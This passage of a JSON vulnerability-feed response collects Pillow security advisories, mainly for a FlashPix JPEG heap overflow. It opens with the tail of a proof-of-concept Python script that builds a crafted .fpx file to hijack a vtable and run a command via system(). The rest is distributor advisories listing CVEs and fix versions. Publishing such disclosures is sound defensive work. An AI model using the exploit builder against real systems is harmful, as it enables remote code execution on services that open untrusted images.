argparse.ArgumentParser(description=\"F-JPEG-1 .fpx payload builder (0-ASLR box)\")\n    ap.add_argument(\"--out\", required=True, help=\"output .fpx path\")\n    ap.add_argument(\"--crash\", action=\"store_true\",\n                    help=\"crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)\")\n    ap.add_argument(\"--heap-base\", type=xhex, default=0xbaa000,\n                    help=\"fixed heap base of the 0-ASLR box (default 0xbaa000)\")\n    ap.add_argument(\"--offset\", type=xhex, default=0x21e800,\n                    help=\"state-\u003ebuffer - heap_base (default 0x21e800 -\u003e S=0xdc8800)\")\n    ap.add_argument(\"--target\", type=xhex, default=SENTINEL,\n                    help=\"value called via the hijacked vtable; pass %#x (system@plt) for \"\n                         \"command execution (default is a sentinel for an RIP-control demo)\" % SYSTEM_PLT)\n    ap.add_argument(\"--cmd\", default=\"id\",\n                    help=\"command system() runs, written inline at obj+0 / rdi (\u003c=7 bytes, e.g. id, id;w)\")\n    a = ap.parse_args()\n\n    if a.crash:\n        # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD\n        # to make the decoded overflow bytes 0x42 -\u003e the adjacent ob_type becomes 0x4242424242424242.\n        build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)\n        print(\"[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 \"\n              \"-\u003e SIGSEGV in PyBuffer_Release (no addresses)\" % a.out)\n        return\n\n    if len(a.cmd.encode()) \u003e 7:\n        sys.exit(\"--cmd must be \u003c=7 bytes (it is written inline at obj+0, before ob_type)\")\n    S = a.heap_base + a.offset\n    A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000     # spray A = fake type, spray B = TARGET\n    tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),\n          (OB_TYPE_OFF - 8, a.cmd.encode() + b\"\\x00\")]      # obj+0 -\u003e rdi for system()\n    tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)]   # fake type -\u003e spray B at +0xa0..+8\n    tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]\n    jpg, it, bad = craft(tg)\n    build_fpx(jpg, a.out)\n    print(\"[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d\"\n          % (a.out, S, a.target, a.cmd, it, bad))\n    print(\"[control] opening it: vtable hijack -\u003e call *%#x with rdi -\u003e %r\" % (a.target, a.cmd))\n\nif __name__ == \"__main__\":\n    main()\n```","status":"published","published":"2026-10-23T21:55:21Z","modified":"2026-10-28T11:10:48.833199086Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-122","CWE-787"],"updated_at":"2026-11-02T15:46:38.911014Z"},{"id":"OESA-2026-4663","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 13.0.0, Pillow\u0026apos;s FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.(CVE-2026-112398)","status":"published","published":"2026-11-04T13:54:13Z","modified":"2026-11-04T14:00:05.780246082Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-04T14:10:46.921518Z"},{"id":"PYSEC-2026-4330","description":"Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T22:17:07.107Z","modified":"2026-10-28T11:10:48.833199086Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:57.671918Z"},{"id":"RLSA-2026:93077","title":"Critical: python-pillow security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* pillow: Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO (CVE-2026-112393)\n\n* pillow: Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution (CVE-2026-112398)\n\n* pillow: Pillow: Argument Injection in Ghostscript call, potentially leading into RCE (CVE-2026-112900)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-11-01T12:01:16.211301Z","modified":"2026-11-01T12:30:02.523946939Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"UBUNTU-CVE-2026-112398","description":"Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T22:17:00Z","modified":"2026-11-04T20:03:30.290001886Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-04T21:44:30.08512Z"},{"id":"ALSA-2026:93077","title":"Critical: python-pillow security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.  \n\nSecurity Fix(es):  \n\n  * pillow: Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO (CVE-2026-112393)\n  * pillow: Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution (CVE-2026-112398)\n  * pillow: Pillow: Argument Injection in Ghostscript call, potentially leading into RCE (CVE-2026-112900)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-10-30T00:00:00Z","modified":"2026-10-31T08:30:02.562880537Z","updated_at":"2026-11-02T15:27:57.367731Z"},{"id":"BIT-pillow-2026-112398","title":"Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution","description":"Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-26T05:55:40.925Z","modified":"2026-10-29T10:45:10.266603997Z","updated_at":"2026-11-02T15:28:34.724063Z"},{"id":"CLSA-2026-1792576513","title":"TuxCare security update for pillow (11 CVEs)","description":"TuxCare rebuilt pillow to address 11 CVEs. Fixed in 11.3.0.post7+tuxcare.","status":"published","published":"2026-10-21T09:55:13Z","modified":"2026-10-27T13:43:06.040248398Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792580209","title":"TuxCare security update for pillow (11 CVEs)","description":"TuxCare rebuilt pillow to address 11 CVEs. Fixed in 11.2.1.post9+tuxcare.","status":"published","published":"2026-10-21T10:56:49Z","modified":"2026-10-27T13:43:10.139648005Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792580364","title":"TuxCare security update for pillow (11 CVEs)","description":"TuxCare rebuilt pillow to address 11 CVEs. Fixed in 10.4.0.post11+tuxcare.","status":"published","published":"2026-10-21T10:59:24Z","modified":"2026-10-27T13:43:12.663296173Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792631285","title":"TuxCare security update for pillow (11 CVEs)","description":"TuxCare rebuilt pillow to address 11 CVEs. Fixed in 9.5.0.post9+tuxcare.","status":"published","published":"2026-10-22T01:08:05Z","modified":"2026-10-27T13:43:12.156714802Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792648426","title":"TuxCare security update for pillow (10 CVEs)","description":"TuxCare rebuilt pillow to address 10 CVEs. Fixed in 9.4.0.post10+tuxcare.","status":"published","published":"2026-10-22T05:53:46Z","modified":"2026-10-27T13:43:09.909534082Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792648427","title":"TuxCare security update for pillow (9 CVEs)","description":"TuxCare rebuilt pillow to address 9 CVEs. Fixed in 8.4.0.post9+tuxcare.","status":"published","published":"2026-10-22T05:53:47Z","modified":"2026-10-27T13:43:10.346747201Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"openSUSE-SU-2026:12230-1","title":"python313-Pillow-13.0.0-1.1 on GA media","description":"These are all security issues fixed in the python313-Pillow-13.0.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-22T00:00:00Z","modified":"2026-10-23T17:23:11.6560743Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"SUSE-SU-2026:5038-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues:\n\n- CVE-2026-96636: decompression-bomb protection bypass via multi-frame `seek()` in MPO and DCX (bsc#1286802).\n- CVE-2026-96637: decompression bomb check bypass in `SpiderImagePlugin.seek()` leads to unbounded allocation DoS\n  (bsc#1286801).\n- CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).\n- CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic\n  integrity compromise (bsc#1286797).\n- CVE-2026-96642: `TarIO` negative size field causes infinite CPU-spin loop (bsc#1286796).\n- CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).\n- CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).\n- CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).\n- CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data\n  (bsc#1286325).\n- CVE-2026-112394: `P;2L` and `P;4L` decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).\n- CVE-2026-112397: out-of-bounds access in `_imagingmorph` on a zero-width image (bsc#1286314).\n- CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).\n- CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).\n- CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).\n- CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).\n- CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).\n- CVE-2026-112403: heap buffer overflow in `ImagingJpegDecode` allows for code execution (bsc#1286405).\n- CVE-2026-112405: NULL pointer dereference in `Image.merge` via an unvalidated band 0 (bsc#1286404).\n- CVE-2026-112406: infinite loop in `PdfParser.rewrite_pages` on page tree `Parent` cycle (bsc#1286403).\n- CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).\n- CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).\n- CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).\n- CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).\n- CVE-2026-112896: TIFF encoder `ColorMap` plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).\n- CVE-2026-112897: `TiffDecode` returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).\n- CVE-2026-112899: EPS `load(scale)` lets Ghostscript render past the decompression bomb limit (bsc#1286489).\n- CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).\n- CVE-2026-112901: ReDoS in `XbmImagePlugin` can be triggered by 512-byte file (bsc#1286396).\n- CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).\n","status":"published","published":"2026-11-02T16:22:03Z","modified":"2026-11-03T13:15:08.326276184Z","updated_at":"2026-11-03T13:33:04.521148Z"}]}}
